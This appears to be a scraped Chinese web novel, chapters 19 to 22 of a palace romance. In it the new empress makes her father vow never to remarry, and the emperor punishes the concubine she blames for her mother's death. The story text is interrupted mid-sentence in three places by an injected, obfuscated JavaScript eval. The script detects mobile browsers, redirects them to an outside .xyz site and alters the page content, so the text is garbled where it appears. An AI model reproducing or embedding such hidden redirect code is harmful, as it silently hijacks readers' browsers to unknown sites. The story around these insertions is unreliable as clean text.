“二姑娘,您是学过宫里规矩的,见皇后娘娘时,腰须弯三分,眼睛不得乱看。皇后娘娘不发话您不能说话,皇后娘娘不叫起您就不能动,可记住了?” 崔荷压下憋闷乖觉点头,“姑姑,我晓得了。” “二姑娘,娘娘跟前哪有‘我’,您应该自称臣女。” “...臣女记下了。” 提裙进了门槛,清凉爽快的风带走周身的燥意,悄悄松口气,庆幸没让她廊下顶着大太阳苦等。 规规矩矩地跪了拜了,上头传来熟悉的声音喊起,她要起,方才提点她的姑姑嗯哼一声,崔荷忙重新跪好谢皇后娘娘恩典,这才如愿起身。 “坐吧。” 崔雪朝对崔荷没什么敌意,“方才宫人制了宝擂茶,我喝着还行,你尝尝。” 还是往常的语调,只是宫人静谧垂立在堂中,阿朝姐姐突然成了遥不可及的存在。 抿一口擂茶,是她喜欢的口味还沁过冰,只是吃得心酸,本来这份尊贵无比的享受,有一份也能是她的。 “娘娘,昨日归家太晚不好搅扰,所以没来拜见,还请娘娘见谅。” 崔雪朝说不必在意,只留下阿屏和万姑姑,其余人退下,“你落选后,父亲可曾说什么?” 崔荷瘪嘴快哭了:“父亲说我活该!” 不是亲生的血脉,戳起痛处来也格外不留情。 她昨日问过家里的下人,册封皇后的旨意送到家中,父亲当时就笑成一朵菊花。 当初说什么让长女随意嫁一个四五品的郎将,全都是哄她和母亲。背地里还不知道花费了多少金银,要不然陛下无缘无故为何选一个和离过的不清白身做皇后? 她是个藏不住心思的性情,脑子里想什么全在脸上,崔雪朝无奈,“落选的秀女按惯例不得嫁京官的,父亲可曾提起如何安排你往后的亲事?” 崔荷摇头,眼神又期冀地看着长姐:“阿朝姐姐,你如今要做皇后了,后宫的事情全都由你说了算。能不能跟陛下求求情,让我也进宫呢?不做贵人,小小的答应也好。” 几日不见,她宏图大业的底线越发往下放了,“宫里就那么好?” “阿朝姐姐自己都要进宫呢。” 崔荷是想,阿朝姐姐性子软一贯好说话,答应位份低,操办起来容易。等进了宫,有一位皇后娘娘做姐姐,她不会一辈子都做答应的。 可惜她的盘算,崔雪朝不会答应。 同意她进来拜见,本就是好奇父亲会不会履行两人当日的赌约。父亲言辞难听,但不曾提起外嫁崔荷的事儿,可见这些年崔荷一口一个父亲,他并不是全然无动于衷。 “天热了,让人给她送支伞。”吩咐过万姑姑,崔雪朝起身绕去屏风后的凉台,崔荷没来前她正坐在那处抄着经卷。 赵柔娘一直等在花园中,见闺女平安无事地出来,松口气,接了人回到屋中,追问喜腊院说了什么。 崔荷怏怏地躺在窗下矮榻上。 崔家家风简素,不到暑热的时候不会采买冰墩,故而她的屋舍前后对开窗,虽然有风却比不得先前在喜腊院时的舒服。 “没说几句话,就问父亲打算如何置办我的婚事,然后就让我走了。” 这是什么意思? 赵柔娘苦思无解,从崔荷口中探问不出什么,急得嘴上生出好几个燎泡。喜腊院静若无波,多了不过是僻开院墙,将家中的莲池塘给纳进去,在靠院墙的两侧修建了两座角楼充作护卫防守。 明日端午,赵柔娘伺候崔举歇觉提及亡夫人迁坟入族的事。 “阿朝亲力亲为,不曾让家中人援手。不然明日大人亲自去城门迎一迎,也好让阿朝宽心。” 崔举说不必,“鼎儿替我去就行。宗妇归祠庙葬族地,只是小事。阿朝这孩子不忘她娘是为人女的本分,但她如今身份不同,一举一动多少人盯着,就让她在家中等着吧。” 赵柔娘嗳了下,心里打个转悠,大姑娘去不成让鼎儿去,好也不好。好呢,是崔家大宗只鼎儿一个男丁,他代父迎正室夫人的棺椁,无异于在崔家族人面前立身。不好之处,也恰好在鼎儿的露面,大姑娘会不会因为鼎儿出自她名下,借题发作? 一清早起床,赵柔娘的右眼皮就在跳。 给儿子换白苎麻衣再三吩咐他今日要跟着管家,一点错都不能犯。 心惊胆战把孩子送到正厅,大姑娘已是一身孝衣等在那里。 那通身气派冰冷的五官,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431228|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带一丝感情的眼神从赵柔娘身上掠过,心底无端生出一股寒意。 幸而老爷到了,大姑娘收回目光,赵柔娘捏捏儿子肉乎乎的手,暗松口气。 “端午盛宴,望京大街小巷都是人,今儿接你母亲归家,陛下赏了恩典,独开庆阳门过,能少许多波折。” 崔举说完才意识到自己语气里带着不合时宜的庆幸和轻松,见长女淡淡地看向自己,只好轻咳一声,回归正常鳏夫该有的伤怀,“阿朝,你身份不便....” “陛下准允我去接母亲。” 崔举愕了下,“....啊....陛下既然应允,那你想去便去吧。其实也不必拘泥于这些虚礼,你母亲在天有灵不会在意这些.....” “父亲不去接母亲归家吗?” 崔举讪然,“太过兴师动众怕有非议。我在宗祠等着,让鼎儿和你同去就好。” 端午宴,宗祠亦有庆贺典仪,崔家重归望京,又出了大乾王朝的第一位皇后,族中子弟正处于振臂大展宏图的良机,崔举乃大宗家主,又是次辅,自然要列席出现。 崔雪朝静静地看着父亲。 想起那年外埠,父亲即便被剥了官位,亦有读书人的体面,被赵家宴请至外埠深湾做客,万数健儿竞渡,他大笔一挥留下数首端午酬词,至今还被外埠官吏奉为墨宝,刻撰在当地最有名的千贤楼。 那日,母亲怀胎九月却受惊提前发动,下人寻他归家,他却醉酒昏睡,步不成行,以致母亲一直在等他。 “父亲还是同女儿一块去吧。” 厅内悄寂无声,只有父女两彼此相望,气氛凝滞。 “那年母亲至死没能等到您,您是如何悲痛万分的,女儿至今不敢忘。今日是她的冥辰,说不得天上仙官开恩,她能回家看看我们。父亲,您与我去城门接她回家,她一定会欢喜的。” 她用最平静的声音谈起亡人今日魂归的大忌讳,就连天爷也应景,不知哪来的阴云遮蔽了晴日,厅内一刹那混沌成黑,只叫人浑身发冷,不由自主地打起冷颤。 崔举愕着两眼,嗫喏着说:“这不合规矩,我为父为夫......” “父亲,莫叫我为难。” 崔雪朝冷冷打断。 话落,长廊下有两位高大勇猛的兵士挺立而出,叉腰持刃,粗声粗气地比个手:“崔大人,请您不要为难皇后娘娘!”声如洪钟,杀伐凶气幽幽回荡在厅堂内,崔举白着脸看向长女。 只见她宽和地笑笑:“父亲,走吧,阿娘该等急了。” 旁观的赵柔娘再撑不住贴着墙滑到地上。 悬在颈后的无形铡刀终于落下,她心说:完了,全都完了。 崔家发生的事情很快传至宫中,彼时,佳节休沐,乾元帝刚处理完几件不紧急的政事,大掌不甚灵活地翻着几股颜色不一的绳子。 内监回禀完,乾元帝只是顿了下,继而无事般编着五色绳,“再加派一伍禁军去崔家宗祠,仔细护好皇后。如有胆敢犯上之人,杀....”岳母刚回家,不宜见血,“绑了送牢吧。” 内监得了吩咐退下,殿内静谧,袁望想象他的皇后用不疾不徐的声音威胁父亲,那张柔美的面容必然是布着冰霜,让人望而生畏。 遗憾身不在当下错过此等风华,吩咐童公公,“派个机灵的去崔家,仔细把皇后娘娘的一举一动记好送到宫里来。” “嗳,小人这就去办。” 20. 第 20 章 等在城门处的崔举望着队伍一点点走近,恍惚间想起当年娶妻纳吉的风光。 算来,妻子离世已经五年,自她走后每一年的端午,扫祭交给下人,他总寻理由不在家中。说不明是愧疚没脸见她,或是人死如灯灭,不如忘却。 眼眸错开,又看向站在不远处的长女,威慑父亲放下男人为尊的高姿态时,与眼下不急不躁的神态并无分别。 城门洞里的风卷起她裙摆,空荡荡的孝衣袖管让他这个做父亲的惭愧,女儿只站在那里,不语不泣,却有如浓云惨淡的哀伤和想念。 为妻女低一回头也无碍,等女儿进宫,往后余生还能有几回父女相见?罢了罢了,当父亲的原谅她了。 送行的行伍十分肃穆,一道宫门隔绝望京那头的欢腾喜庆。灵祭停到崔家宗祠外,崔雪朝从洒祭的手中接过母亲牌位,仿佛有山一般压在肩头,深喘口气小心翼翼地跨过宗祠门槛。 崔家人群中立刻传来嗡然议论,怎么让女眷做移灵的人选? 族公彼此看看,眼中惊疑不定,斜眼持刀随扈的禁军,按捺不语。 崔家大宗宗妇牌位早就空出来,崔雪朝放好,凝望几眼漆金的名讳,不舍地抚摸几下。 行过跪拜大礼,点香烧黄纸,听崔家老族公苍老沙哑的声音在一旁给崔家列祖列宗道尽她简短的生平——崔赵氏,十八嫁做人妇,二十诞育宗房长女,三十九逝,说她言行有节,恪守妇道,说她慈心于物,持家有道。 有族公念完生平,崔雪朝在前,崔荷和崔鼎在后,对着龛座三起三拜行孝仪。 之后的仪程便由族中男丁来做,崔雪朝净过手,默立在一侧等着结束。 云团飘走,大太阳顶在头上晒得人汗津津的,只是没人敢抱怨,皇后娘娘站在阶上纹丝不动,宫人撑起翎凤盖又被挥手却开,臣下如何能越过主子去? 幸而端午祭祀并不繁冗,两刻钟后终于收场,众人长长舒口气,塌腰拍腿,各自放松。 院中会有祭后宴,崔举从宗祠出来寻到崔雪朝跟前拱拱手,“娘娘凤体,此地焚烟难耐,还是先回喜腊院吧。” 随他而来的自然是崔家大小宗各家的话事人。 崔雪朝说不急,“祭后宴还得些时候,正好我有事要与父亲商议,叔伯族公们在场也好。” 如此一行挪至宗祠正堂,崔雪朝乃皇后,是此间最为尊贵的君,堂而皇之地坐在正东的主位,其他人垂首恭立在下首堂中。 “不知娘娘有何要事吩咐?” “些许小事,父亲不必紧张,各位且上座吧。” 人定安坐,正堂外围着各房的亲戚,恰时一阵脚步声传来,扭头去看是两个着甲挎腰刀的侍卫领着一道柔弱的身影自人群中上来。 “阿娘?” 崔荷和崔鼎在门外看见不由呐了一声,却见赵柔娘霜白着脸,两眼无神,两人就要去拽,门上的护卫拦住姐弟两个,“闲杂人等不得靠近!” “贺功,让他们也进来吧。” 侍卫拱手称是,等姐弟两个进去,把门自内阖上。 门一关,宗祠正堂内浮荡起祭香厚重的味道,各房人一瞧进来就乖乖跪在当地的妇人,心中隐有猜测。 左不过是大宗避难外埠时行事不检点,无非就是床榻上的混账糊涂事,好好的宗妇因难产一尸两命,听说当年那胎还是男婴。瞧这妇人的模样,莫不是她当年对宗妇行过阴诡算计? 那头崔荷压着恐惧要扶她娘起,一边朝上座的崔雪朝哭诉:“阿朝姐姐,就算你是皇后,也不能草菅人命!我阿娘......” “大胆!” “闭嘴!” “切莫胡说!” 各方斩断崔荷的话音,崔举赤红着脸示意仆妇把崔荷扯到一旁堵上嘴,一边向上告罪。 崔雪朝不在意这个,不轻不重的一句话中伤不了她今日的决心。 抿口茶汤润过干涩的唇舌,笑笑:“父亲与诸位不必如此拘谨,咱们是一家人,荣辱与共,今日所求,皆是有理有据。” “娘娘但说无妨。” 于是缓缓道:“母亲今日移灵归位,正好今日各房话事人都在,便请诸位给崔家大宗往后的继业做个见证。” “母亲亡去时,父亲悲痛万分之际曾在我母亲坟头发下痛誓,称此生绝不再娶,这辈子只有我阿娘这一个妻子。当日骤闻,我甚为感动,铭记至今。” 说来也是文人的某种情深韵事,只是当着族中许多人,崔举有些难为情。 “然父亲乃崔家大宗,嗣子何其重要关乎家族绵延兴衰,我不忍让父亲背弃誓言又不愿崔家大宗自父亲这一代断嗣,故而今日想同诸位商议,族中可有天分不错的适龄青俊肯认在大宗下,喊我一声姐姐?” “什么!” “娘娘此言何意?” 崔举亦是瞪大双眼:“阿朝,你这话是什么意思?大宗是有男丁的!” “父亲指的是崔鼎吗?” 崔雪朝神情无辜,语气却格外坚定:“崔鼎不行,他这辈子只能是您的庶子。” 地当中的赵柔娘扑在崔举腿上,哀哀求道:“老爷老爷,鼎儿是您唯一的男嗣,放着骨肉血亲不要,过继旁宗的血脉是何道理?” “娘娘,此举怕是不妥。” “娘娘三思。” “娘娘,若是这妇人犯下弥天大祸,处置了她即可,但大宗血脉尚在......” 万姑姑竖起眉眼,厉喝噤声,“娘娘不发话,谁敢开口?!” 这下又恢复一片死寂。 崔雪朝平静地看着与她对视的父亲:“母亲为何难产至死,父亲您不是知道吗?” 怀胎九月的妇人,骤闻忠诚的丈夫竟与家中寡居的堂姐有了收尾,而且对方还怀有身孕,一时无法接受背叛,提前发动。 “我......”崔举嘴唇颤抖。 “是我的错,是我的错!我该死,当年是我不该与老爷暗中来往。娘娘,冤有头债有主,您如何处置我要杀要剐,由着您出气。可是...” 赵柔娘撕心裂肺喊:“鼎儿是你父亲的血脉,是您的血亲弟弟,他是无辜的!” “我的亲弟弟也是无辜的。” 崔雪朝红着眼眶两手比个大小:“我把他捧在手里,只有这么大。姨娘,您说他无辜吗?” 赵柔娘长嚎一声:“可是当年的事儿并非我主动,我也是被逼无奈,我不是成心要介入......” “我知道。” 崔雪朝道:“母亲临去前同我说了,说你寡居在娘家很不容易,你有你的难处,你与她自小一块长大,若非不得已,不会做出鲜廉寡耻之举。” “可是姨娘,我有一问,不知你能不能摸着良心坦诚相告?最开始你是被赵家人算计,不得已而屈从。那事后你又为何不告知于我母亲,反而一错再错以致她骤然知晓你背叛她的事情酿成人祸呢?” 盘踞当地的赵家是真凶,赵柔娘则是其中帮凶,只是这么多年她总以受害者身份自居,“姨娘,时间长了,你自己骗自己,信以为真了吧?” 赵柔娘哭音噎住,瞠目片刻,无力地瘫在地上不再开口。 然而,始作俑者还有一人。 世道不给妇人活路,男人趁危而入。 崔雪朝看向崔举:“母亲不叫我寻姨娘的麻烦。父亲,这么多年,我有半分为难过姨娘和崔荷的地方吗?” 崔举说不曾。 何止为难,长女能忍让的都让了,就连亲生父亲都拱手相让。 “母亲留下的遗产并不多,我算一个,这一代崔氏大宗正室夫人的名号算一个。各位叔伯,我们母女忍让诸多,今日我替我母亲要一个‘后无来者’,不过分吧?” 有个上了年纪的族公抖着胡须颤道:“倒反天罡!你这是要让你父亲为你母亲守节不成?!”从来只有女子守节,何曾听过男人为女人守节? “这位族公提议甚好。贞洁牌坊倒不必立,侧房由着您喜好随意安置,只是往后父亲不得续弦不得扶正,父亲以为如何?” 崔举切齿道:“此举于你声名有何好处?再过一月你就要入皇家玉牒,大乾宗祭万民叩拜,你此时逼亲生父亲后半生持节守鳏,传扬出去,可知会招来多少天下士人唾骂?!” “女儿多谢父亲为我周全。只是为人女对亡母的一点心意,天下人唾骂便唾骂吧。” “疯了,我看你是失心疯了!” 崔举又道:“你此番若传到宫里,陛下岂会容你?阿朝,你三思再三思!如对当年为父的行事不满,我自会弥补你,今日所求实在有悖人伦!” “崔大人” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436245|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口候着的禁军侍卫统领贺功这时开口:“微臣率亲卫来此地前,陛下有言在先,今日只要皇后娘娘安,万事皆为天家意。” “什...” 崔举僵在当地,半晌,竟是哑口无言摔回圈椅。 崔雪朝闭上眼,多年积蓄在胸口的那口恶气终于长舒而出,“诸位叔伯,事情就这般定下了。我给诸位三天时间择选合适的人。三天后禀至大宗,上族谱更名牒,届时搬来家中住下即可。” 各房见崔举已然丧倒,自然不会二话。 且说了,大宗的荣光不可限量,过继到大宗的人乃是嗣子。看眼下情势,将来皇后娘娘怕会倚重,此等好事,牺牲崔举一人后半生的正姻划算得很。 于是众人一一告退,片刻后,堂中只剩自己人。 崔荷搂着什么都不懂的崔鼎,眼神含恨,“阿朝姐姐,这些年我们从来没有苛待过你,你今日为何要这般欺辱我们?” 那厢阿屏冷哼道:“二姑娘这话听着古怪。我们大姑娘是家中嫡女,崔家先是大姑娘的家,崔大人先是大姑娘的父亲。你们后来者本就该低大姑娘一头,是大姑娘性子好,看你们母女可怜,不曾横眉瞪眼苛待你们才对吧?” 崔荷咬着嘴唇,气得发抖,“我今日才知你的心肠如此歹毒,亏得我把你当做亲姐姐......” “亲姐姐?” 上座的崔雪朝嗤道:“你若真心视我为姐,又怎会明知我母亲去世,在我面前与你阿娘和美开怀?又怎会天真无邪地在我面前,与我的父亲任性撒娇?” “论起歹毒,我怎会赢过你呢?” 她知道今日之后自己跟父亲的关系彻底破裂无法修复,索性说个明白,“父亲,当年你我都知母亲崩逝乃是赵家刻意为之。趁母亲身边只有十二岁的阿屏在,他们刻意散播消息,以致母亲早产。 孩子胎位不顺,赵家把持了那片住宅,谎称端午盛宴街面混乱,医馆大夫被耽搁在路上了。弟弟闷死腹中,母亲也被拖得没命。” “父亲,每每看着姨娘和崔鼎与您和乐幸福,我便会想起母亲去世那日的惨烈。崔荷夺走了我的父亲,她们母子占了母亲和弟弟的位置。无心也罢有意也好,他们一家三个踩着阿娘的尸骨逍遥自在,您不会有愧吗?” 崔举苦笑,“当年虽有消息称末帝要倒,可我毕竟没有起复,无权无势...” 他的狡辩是世上最尖锐的刀,狠狠地扎进崔雪朝的心,不见血如刻骨!直到此刻都在推诿、在矫饰太平、在强调他的为难,不肯直面他作为一个男人的懦弱。 父亲失去妻子的伤痛被来自凶手的温情抚平,他朝前看了,而她和母亲成了他衣衫上一道不仔细看就不会发现的褶皱。 从前不计较,是她势弱,真如母亲所言,放过自己朝前看。她计划住在京郊田庄,余生只当自己是个孤儿。可偏生让她入京又回了崔家,家不是家,看着他们一家四个和和美美,压在心头多年的恨一点点发酵出来。 解气的处置,直接叫禁卫绑了赵氏三个,杀个痛快。父亲不父亲,送他去见母亲最好。只是真那般做了,往后余生不就辜负了母亲临终前对她的爱护? 崔雪朝用尽生平最大的理智不在这些人面前暴露出软弱和眼泪,“当年您说‘形势比人强’,女儿铭记于心不敢忘却。如今亦是形势比人强,父亲当日能低一次头,今日便再低一回头吧。” 崔举一时剧震,惶惶抬眼,在长女看穿一切的目光下,强撑的伪装分崩离析。 他后知后觉长女此刻的云淡风轻是无数个日夜苦熬后的结果,那心头上的伤疤早在他视而不见下结成了疮痍。 看她身形瘦削,忆起她少时娇娇软语依偎在自己怀里的情景,一时老泪纵横,“阿朝,是为父错了!” 崔雪朝从那哽塞的话音中听出真意,驻足深吸口气,再回眸时释然一笑:“家道中变,女儿一直觉得是自己在外招摇惹来祸害,是我毁了您为官做宰的壮志。很多年都觉得对不起您。而今我封做皇后,为家族带来权势荣光,那些因我而去的又因我而归。” “父亲,欠你的,女儿还清了。” 言罢,再无二话。 迈出门槛,前半生的羁绊全都断在了身后,欠了她的,她今日一次性讨回。她欠的,以身为代价付给了那座宫闱。 21. 第 21 章 一方如晦风雨,内廷的乾元帝抚着编好的五色绳同内监编好的那个比较着。宫人回禀说皇后娘娘节前同宫人们编了好几个五色绳,思及他们都定亲了,必然有一根属于自己。今日等她忙完,两人相见时,他也得有个拿出手的回礼不是?第一回编,有两三处拧结不知是漏了何处,精巧完美寓意美好的东西不该有半点磕绊,叹口气,又寻了新的绳索从头开始绾。 第二根顺当当的,操文弄墨的手指舞弄起丝线来竟也有天分,细细的五色绳,红的平安黄的纳财蓝的安康绿的福运白的吉祥,他的皇后腕似庐上月,指细白腻,若是佩戴他亲手编好的绳结,必然赏心悦目。 正犹豫是不是再编几颗宝珠点缀,童公公领着一个小内监自殿外而来,回禀的是方才发生在崔家宗祠的惊天动地。 小内监回话前还从袖间掏出一本厚厚的小册,随着他从开头讲述皇后娘娘在宗祠亡母灵位前的跪拜,乾元帝一页页往后翻看。 小册本不过巴掌大,每张扉页只一幅小像,三两笔勾勒出皇后娘娘拟真的神态,一颦一怒,栩栩如生。 提及亡母与亡弟时,一方小像上,她那双臂无力地摊在身前,眼神恍惚,好似还能复刻当年抱着襁褓时撕心裂肺的痛苦。 冒天下之大不韪提出让家父为亡母余生守节不再娶妻时,她是平静的,可漆黑一点的眸光仿似就在乾元帝眼前。她的古井无波是强撑起来的,底下惊涛骇浪像有猛兽吞吃她全部的魂灵,灼热的恨让她偏执为亡母求个公道。 最后一页是皇后娘娘推开门扉时果决的一角背影。 内监回禀说皇后娘娘说从此跟崔家两不相欠了。 乾元帝抚着册本上的小人,温情之下更多的是心疼。 她真是个心软的姑娘。 亡母之痛折磨得她日夜难安,五脏六腑碎过又被她一点点拼好。世人以为她熬过了,她没忘却。今日大仇得报,她所能想到最严峻的惩戒只不过是不许她父亲再娶妻! 太纯善的人不自觉以己度人。 亡母腾出正妻之位,弟弟丧命,父亲至今无嫡子,所以她以为让那庶子失去扶正的可能,便是对这些人当年犯下的错最严苛的惩罚。 可笑! 什么侧房庶子庶女,当年谋算的早已得到,现在拥有的往后也不曾失去半分。 “是崔卿的错。” 乾元帝望着郎朗乾坤,长叹一声,“他把朕的皇后教养成恪守本心的好姑娘,却不曾尽到父亲职责,不曾保护好女儿的至善至真。” 最过分的是,崔卿为人夫君却背弃誓言,寒了妻女的心,让朕的皇后与母亲天人永隔,让朕的皇后滚进红尘的泥泞里从此不肯再轻易相信这世间也是存在好男儿的! 若非崔卿尚有用处,皇后将来也须崔家上下效忠,实该一道圣旨赐他圆满尽早与地下的夫人相聚才对。 “赵氏在何处?” 内监:“回陛下,娘娘称赵氏与崔夫人旧时有谊,念在她当年也是被人所迫,不曾下令训诫。” “崔卿可有惩戒?” 内监:“不曾听闻崔大人有何吩咐。” 乾元帝脸色森寒,心说果然不出所料,“皇后慈念不愿辜负亡母临别之言,朕却容不得皇后母家有心肠不干净之人。去崔家传旨,赵氏不守妇德,酿出良妻无辜丧命惨祸,着令内狱收押,依法惩办。” “另册旨意发往外埠,责令当地县属知县彻查当年赵家之案,若敢徇私,九族连坐!” 思及赵氏名下的一子一女,本想高抬一手,地上内监立时进言:“崔氏二姑娘言语无状,几番不敬,今日更是污蔑皇后娘娘‘草菅人命’。之后辱骂娘娘恶毒。小人观其神态,此人不仅不感念娘娘宽宥,更是记恨娘娘至深!” 乾元帝双眼眯成危险的弧光,负手在后,“朕记得崔卿曾有言,若是府下二姑娘不入宫闱,便要永不归京?” 童公公道是。 “崔卿慈父心肠,朕不能不体谅。” 乾元帝淡淡道:“庆城乃御北重镇,今春设立地方女学,崔卿之女受惠于宫廷,自该回报一二。令她任女学仪正,为朝廷和当地生民进效,即日上任不得拖延。” 童公公听懂陛下言外之意。 所谓女学仪正,自然不得婚嫁有后不得在外行走,“陛下大恩,想必崔大人能懂您的苦心。” 至于那五岁的庶子,乾元帝呵然一笑,眼下是懵智儿童,来日长大知晓生母去向,焉知不会心存阴晦搅得崔家不得安生? 可惜是崔卿血脉不好一下料理干净,“将那庶子身边伺候的人换了,从前旧人不许接近,开蒙后好生教导。” 旨意发至崔府,崔举颤着手臂接过隆恩,童公公客气地扶他起来,“崔大人要体谅陛下的苦心!皇后娘娘太过慈善,传扬出去,来日统御后宫怕是不易。陛下出面为娘娘断腕,一来护住崔家的好名声,二也是帮着您这位泰山大人后半生无忧。” 话落,偏头往自己身后一看,崔举讷讷地跟着转移视线,只见随着恩旨来的,竟还有两位如花似玉的美娇娘。 “赵氏罪有应得,赵家亦会裁治。您失了侧夫人,陛下特意选这二位女家送来。她们皆是有才有貌之人,做大人的解语花足矣。” 崔举擦擦鬓角的汗,连声谢恩。 童公公笑着看他这般,一挥手,身后跟来的禁卫立时如狂风卷入崔家后院。不足片刻,赵氏和崔荷被堵上嘴五花大绑地带到前院。 崔举眼神游移不敢看她们,庆幸陛下感念臣下有用,至少不曾把崔鼎一并发落。 “那崔大人您忙,小人还得去皇后娘娘跟前传话。” “公公请。” 童公公跟上崔府管家前往喜腊院,至于身后崔大人在自己走后有什么表情已然不重要了。 迈进喜腊院,万姑姑候在门口,童公公瞧院子静谧,压低声音问娘娘呢。 万姑姑忧心:“晌前在宗祠累着不曾歇,回来连饭都没吃就在后堂崔夫人灵牌前跪着抄经了。” “先前外院子吵得厉害,是您......” 童公公示意她不必急,促步进到屋里,隔着山水屏风朝里头回话。 说陛下听闻崔家今日之事,怜悯崔夫人之苦更嘱咐皇后娘娘保重身子。而后一五一十地说了陛下处置赵氏等人的旨意。 “陛下本是亲自前来看望娘娘,只是临要走,监理淮北民情的折子传回御前,这才耽搁了,还请娘娘勿怪。” 屏风那头传来清冷的话语:“谢陛下垂爱,还请公公转达陛下,深谢陛下为亡母做主。请陛下不必挂怀,一切以政事为主。” 童公公嗳一声,“陛下不得行,吩咐小人一定把话传到,说往日之事暗沉不可追。崔夫人若地下有知必会为您今日之举感动。” “多谢陛下,臣妾记下了。” 临走探头往屏风后瞄了一眼,看到皇后娘娘跪姿端正执笔抄经的侧影,叮嘱万姑姑,“陛下忙政,今夜未必能来,好生伺候着。” 万姑姑满口应下,只是主子为亡母念孝的心很诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442554|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挚,抄起往生经来像是入了咒,直至子时,四五拨人折戟退下,未曾劝得主子停笔。 正彷徨猜测是不是真要等到天亮,门上禁卫传来请安的声响,回眸一看,宫人们瞬间收起神情规规矩矩地跪在沿道边。 “多久没吃喝了?” 万姑姑战战兢兢:“打晨起宵食,中途只喝过一盏茶。” 乾元帝幽深的眼眸渡上霜寒:“留着你们有什么用?” 念在是过了眼的人,没让人处置了,挥退宫人,独自上了台阶,刻意发出脚步声走进后堂,省得他突然出现吓住了人。 后堂泱泱,僻开一扇门窗,肃穆的灵牌摆在红漆堂桌当中,香炉燃着的三炷香已烧过一半,烟气缭绕一路漫过桌台搁置起的厚厚的一沓子经卷。 扉页大开,每一行字都是她的笔记,灵位前的经卷无非那几本,经义除了释尽生前苦难就是往生极乐。 他默默看着她抄过一页,那慢吞吞的笔锋陈述手的主人已是累极倦乏,可这具身躯藏着最为不屈的灵魂依旧撑起她脊梁不倒。 于是他撩袍跪在她身侧,伸手不容拒绝地夺走毫笔,沿着她停顿的地方规矩认真地抄写起来。 室内静谧如水,千数灯杈在他深沉的眉眼投下斑点的光晕,崔雪朝愣愣地看着他,从他坦宽的额至锋利狭长的眼眸,高悬的鼻梁抿直的薄唇,似乎第一次这么近这么细致地看他。 他也不是那么深不可测,不是那么地令人望而生畏。 “陛下乃天子,天子如何能跪一寻常妇人?” “朕无冠无冕,不曾穿朝服龙袍,跪自己的岳母,有何不可?” 崔雪朝眼神微颤,在他目光看过来前避开视线,“了尘寺的住持说诚心之人抄卷烧给亡魂,偶尔午夜梦回,会见到想见之人。” 袁望笔锋不停,头一回听到这么荒诞的话:“那你见到了吗?” “见到了。” 袁望偏头,见她面容一刹那有春水映梨花的美好,“只梦见那一回。” “梦里崔夫人与你说了什么?”袁望收起那份轻慢,问道。 “没说话,只是看着我一直笑。” 和离世前留给自己最后的场景一样,眼神里蓄着无限温柔,无怨无恨只剩爱意留给唯一的女儿。 袁望有种庆幸的余味,亡母的善没让她的世界崩裂,到现在成全了他的私欲。 半晌后,又听她问:“陛下信佛吗?” 不信。 不过抄着经书说背经叛道的话,会显得自己心意不诚挚,但撒谎又非君子之举,“信则有不信则无。”他狡换个说法。 崔雪朝从他气定神闲的语气听出端倪,又瞥眼过去,正瞧见他把最后一页收个尾,一撇一捺潇洒利落,带着‘终于结束’的释然。 信手接过他递来的经本,见他袖口繁复华贵的纹路,心说我和他果然不是一路人。 “传饭来。” 他朝外吩咐道。 她缓缓收着身前琐碎的东西,扶上桌角一点点抻直早已没有知觉的双腿,一只滚热的手掌撑在她手臂施力,崔雪朝极力控制住摇晃的身形,想要避开。 就在这时,耳畔传来他低沉的嗓音。 “我母亲和你母亲,同人同命。” 崔雪朝一时忘记动作,愕然仰首,袁望从她清透的眼眸中看到自己的倒影,那人笑容无奈中透着苦涩,“我父亲一生妾室无数,母亲引以为耻,悬梁自尽不得,遁入空门。” “阿朝,我与你同病相怜。” 22. 第 22 章 “陛下说什么?” 跪了太久,起身时耳朵嗡鸣一瞬,但寂静的室内只他们两人,崔雪朝怀疑自己听错了。 “西陵崔家也是望族,偌大的宗族各房各屋狗屁倒灶的事情,你应该见过不少吧?” 崔雪朝想起母亲在世时,她们一家尚在望京,父亲升任工部侍郎,手握实权,大宗一房倚仗父亲的官位,总借着母亲不曾诞子嗣的缘故时不时刁难。 手段正当些,逼着母亲给父亲纳侧房妾室。阴私些,趁父亲在外交际应酬,总遣派歌姬美女献色,只是父亲不曾心动,从来没有对不起过母亲。 所以当年她知晓父亲与赵柔娘搅和到一起,而且背着母亲有了身孕,实在接受无能。 “我父亲自小得溺爱长大,十五岁通人事后,夜夜笙歌。” 袁望望向她如墨的眼眸,声音淡得不似提及自己生父,像说起街边陌生人,“二十那年,他偶遇我母亲,一眼沉溺不可自拔。为求娶我母亲,遣散家中所有美色。” 长子如此决心,终于撼动袁公,打听到对方来处,请托冰人上门提亲。 